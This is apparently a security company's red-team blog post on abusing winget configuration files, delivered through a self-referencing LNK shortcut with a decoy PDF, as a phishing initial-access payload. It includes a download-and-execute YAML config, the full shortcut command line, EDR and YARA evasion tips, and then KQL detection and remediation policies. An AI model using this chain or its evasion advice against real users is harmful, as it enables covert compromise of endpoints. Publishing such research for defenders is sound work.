TL;DR: While not new, a self-referencing LNK file in combination with winget configuration instructions can be a viable initial access payload for environments where the Microsoft Store is not disabled.

When tasked to design a payload for an initial access scenario for a red teaming project, we typically look for inspiration in:

• Associated file extensions
• Registered protocol handlers
• Black lists used by popular applications such as Microsoft Edge and Outlook
• Known abused file types by threat actors

That is when my colleague Sylvain noticed the .winget extension mapped to the following command, allowing easy execution with a double click:

winget.exe configure "%1" --wait

While the abuse potential of winget is not new, it seems to be largely neglected by the defensive security community. This is also indicated by its absence from the aforementioned dangerous file block lists. A reason might be that the legitimate functionality is actively promoted by Microsoft to install e.g., developer dependencies in a streamlined way:

From an offensive security perspective it is convenient that the Mark of the Web (MoTW) is not taken into consideration and no SmartScreen integration seems to exist.

Quick Introduction

So what is the winget configuration functionality? It is built upon (PowerShell) Desired State Configuration (DSC) a declarative system configuration management platform. If you are familiar with Ansible, similar concepts apply where individual, ideally idempotent, configuration steps should result in a consistent system state.

The configure component requires extended features, which if needed, can be enabled from a low-privileged user context with:

winget configure --enable

The default resources facilitate access to environment variables and the registry, support archive extraction and process creation as well as PowerShell script execution. More than enough functionality to phish for persistence using one of the numerous techniques. As a basic example the following configuration file downloads and runs Sysinternals’ Process Explorer:

properties:
  configurationVersion: 0.2.0
  resources:
    - resource: PSDscResources/Script
      directives:
        description: Download ProcessExplorer.zip from remote URL
      settings:
        SetScript: "Invoke-WebRequest -Uri 'https://download.sysinternals.com/files/ProcessExplorer.zip' -OutFile 'C:\Windows\Temp\ProcessExplorer.zip' -UseBasicParsing"
        GetScript: $false
        TestScript: $false
    - resource: PSDscResources/Archive
      directives:
        description: Extract ProcessExplorer.zip
      settings:
        Path: C:WindowsTempProcessExplorer.zip
        Destination: C:WindowsTempExtracted
        Ensure: Present
    - resource: PSDscResources/WindowsProcess
      directives:
        description: Run ProcessExplorer.exe from extracted archive
      settings:
        Path: C:WindowsTempExtractedprocexp64.exe
        Arguments: "-accepteula"

From an offensive security perspective winget is a nice proxy for PowerShell execution using legitimate system functionality intended for configuration tasks. The underlying system changes are performed by the ConfigurationRemotingServer.exe process. This has some similarities to scripts being deployed using SCCM where they are executed through CcmExec.exe and often less scrutinized. If needed, all referenced PowerShell resources are automatically downloaded from the PowerShell Gallery and stored in %LOCALAPPDATA%MicrosoftWinGetConfigurationModules.

From an end-user point of view double clicking such a .winget file looks as follows:

When attempting to convince a phishing target to execute such a payload, there are a number of undesirable properties:

• The user has to explicitly confirm the installation by entering Y (or y, case does not matter)
• There is lots of confusing text being displayed
• Due to the --wait command line option, the console application remains open after execution

Reducing Required User Interaction

Explicit user input can be avoided by either:

• Launching winget with the option --accept-configuration-agreements
• Supplying the required confirmation input in some other form e.g., echo y | winget ...

The output can be suppressed by redirecting it to >nul.

All these options require direct control of the winget invocation which means the configuration file can no longer be used on its own, but needs to be applied through some trigger file. The most obvious approach is to use a LNK shortcut. This replaces the need for interactive keyboard input with an additional MoTW related security warning dialog which end users are hopefully more likely to accept. Because winget also applies configurations hosted on web servers, the first attempt was to use a shortcut executing:

winget configure https://yourhost.tld/burpisnotbeef.yml --accept-configuration-agreements

While the LNK contained within a ZIP archive could be delivered to the endpoint through HTML smuggling, subsequent execution failed.

At this point we decided to try a technique discussed by Emeric Nasi in his Offensive X talk Breach The Gate: Advanced Initial Access Craft 2024:

The idea is to craft a LNK shortcut which:

1. Locates itself
2. Extracts the appended winget configuration data using more
3. Shows a decoy document to distract the user
4. Executes winget with the required options in the background

To locate the delivered LNK file, we assume that the user either extracted the ZIP archive in the downloads folder or simply opened the archive. In the latter case Windows extracts the selected file to a temporary directory such as: %TMP%2af79810-65c9-4d8d-8a63-5f003ab362c8_update.zip.2c8update.lnk.

Combining steps 1-4 from the above list, results in a shortcut like:

C:Windowssystem32cmd.exe /c "(cd %TMP%*update.zip* || cd %HOMEPATH%Downloadsupdate) & (more +1349 *.lnk > %TMP%conf.yml) && start https://yourhost.tld/decoy.pdf & winget configure --enable & (echo Y | winget configure -f %TMP%conf.yml >nul)"

At this point I thought there is no chance that this would fly past a modern EDR.

For Microsoft Defender for Endpoint (MDE) it seems to be important that the size of the LNK file as a whole i.e., with the appended data is kept as small as possible. Otherwise alerts such as the one below are generated:

Some practical tips from my limited experience:

• Keep the shortcut command line as short as possible, do not exceed ~250 characters
• Instead of winget configure use the alias winget dsc
• The file extension does not matter: instead of .winget just use .yml or omit it completely
• To speed up the configuration process use a single PowerShell script resource
• Use commands that map to compiled .NET cmdlets or use APIs such as [System.IO.Compression.ZipFile]::ExtractToDirectory instead of Expand-Archive to avoid the creation of an additional powershell.exe process
• Avoid double file extensions like .pdf.lnk
• If you encounter an issue on system where extended features are not enabled, add a small delay using e.g. timeout /t 1
• If you face a brittle detection on the echo Y | ... construct, use something else like echo y > x & type x | ... or apply slight DOSfuscation
• Check that your payload does not match common LNK related YARA rules
• Add more benign files in nested folder structures of the delivered ZIP file
• If you are using the standalone winget approach, pad the first 5 lines of your PowerShell script in the configuration file with comments matching your pre-text

The source code for the legacy PowerShell script resource, newer class-based DSC resources, the core PSDesiredStateConfiguration module as well as the winget utility itself is available on GitHub for further inspection. For example, revealing that System.Management.Automation is used for the PowerShell execution, meaning your script will be passed through AMSI.

This technique can also be combined with other LNK related tradecraft to hide the executed commands from a curious user when inspecting the shortcut properties.

Detection

To check whether the feature is (ab)used in your environment you can try to run the following KQL query which lists all winget configure invocations. It is important that the substring matching is performed case insensitively:

DeviceProcessEvents
| where FileName =~ "winget.exe"
| where ProcessCommandLine has_any ("configure", "configuration", "dsc")

On affected machines applied configurations and their origin can be listed with:

winget configure list

Furthermore, winget logs all performed invocations in a directory opened by winget --logs. By default the execution time and the used command line arguments are recorded. If the logging verbosity is increased through the configuration file opened by winget settings, the complete configuration instructions and execution of individual steps are also logged.

Remediation

Assuming the winget functionality is not needed at all, the attack surface can be mitigated by disabling the complete Microsoft Store or more specifically the Windows Package Manager (winget) through the EnableAppInstaller policy. General application whitelisting solutions such as Windows Defender Application Control (WDAC) provide another way to prevent execution.

If the Windows package manager is needed, the configuration sub command described in this blog can be individually disabled with the EnableWindowsPackageManagerConfiguration policy directive.

If for whatever reason this is not possible, then consider to at least remove the .winget file association. While this does not prevent the LNK shenanigans, it removes the possibility to execute configuration files by simple double clicking them, thereby increasing the required social engineering effort.

Conclusion

We presented a viable initial access payload by chaining two known techniques: winget as a living off the land binary to invoke PowerShell scripts and self-referencing Windows shortcuts as a combined delivery and execution mechanism.

Whenever possible defenders should reduce the attack surface of their systems by disabling unused Windows components and features such as the Microsoft Store, the Windows Package Manager (winget) or its configuration feature.

Compass Security Blog – ​Read More